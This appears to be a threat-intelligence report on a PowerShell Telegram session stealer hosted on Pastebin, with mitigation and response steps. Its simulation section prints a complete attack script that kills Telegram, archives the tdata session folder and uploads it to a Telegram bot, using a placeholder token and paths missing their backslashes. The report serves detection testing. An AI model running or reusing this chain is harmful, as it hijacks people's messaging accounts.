Inside A Telegram Session Stealer: How A Pastebin-Hosted PowerShell Script Targets Desktop And Web Sessions

Summary

A malicious PowerShell script hosted on Pastebin poses as a Windows update while stealing Telegram Desktop session data from infected systems. The script gathers host details, compresses the Telegram tdata directory, and exfiltrates the resulting archive through the Telegram Bot API. Researchers also identified a related web-based stealer designed to capture Telegram Web authentication keys and forward them to a local HTTP collector. Both tools rely on the same Telegram bot for notifications, though the available evidence suggests they remain in a testing stage rather than broad operational use.

Investigation

Analysts recovered two Pastebin-hosted script variants, uncovered hard-coded bot tokens and chat IDs, and reconstructed the full exfiltration process. During execution, the script terminates Telegram.exe, archives the tdata folder, and uploads the ZIP file through the bot’s sendDocument API method. Bot telemetry also exposed a separate web-focused stealer that transmitted MTProto authentication keys to a private collector hosted at 192.168.137.131:5000. Overall, the findings point to functional testing and validation rather than a mature, large-scale campaign.

Mitigation

Organizations that do not require Telegram should block outbound traffic to api.telegram.org and related Telegram infrastructure. Defenders should monitor PowerShell for use of Invoke-RestMethod or WebClient targeting Telegram API endpoints and detect ZIP archives created in temporary directories that contain tdata content. Any exposed bot tokens should be revoked immediately and replaced to prevent further misuse.

Response

If the script is discovered, terminate the associated PowerShell process and remove any generated diag.zip archives. Revoke all active Telegram sessions tied to the affected account and enable two-factor authentication to reduce the risk of continued access. The bot token should be changed, and the linked bot chat should be reviewed for evidence of exfiltrated data. A broader forensic investigation should also confirm whether any additional credentials or session material were collected.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Reconnaissance: The attacker queries api.ipify.org to discover the host’s public IP (used later for logging).
  2. Service Disruption: Stops the legitimate Telegram Desktop process to ensure files are not locked.
  3. Data Collection: Recursively copies the Telegram Desktop tdata directory (session files) to a temporary location.
  4. Archiving: Compresses the harvested data into diag.zip.
  5. Exfiltration: Sends the archive to a malicious Telegram Bot via Invoke‑RestMethod.
  6. Cleanup: Deletes the temporary archive and optionally restarts Telegram.

• Regression Test Script: Executes the full attack chain in a single PowerShell command line (matching the detection rule).

  # Windows Telemetry Update – Telegram Session Stealer
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Cleanup Commands: Restores the environment to its original state.

  # Restart Telegram (if desired) and remove copied data
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;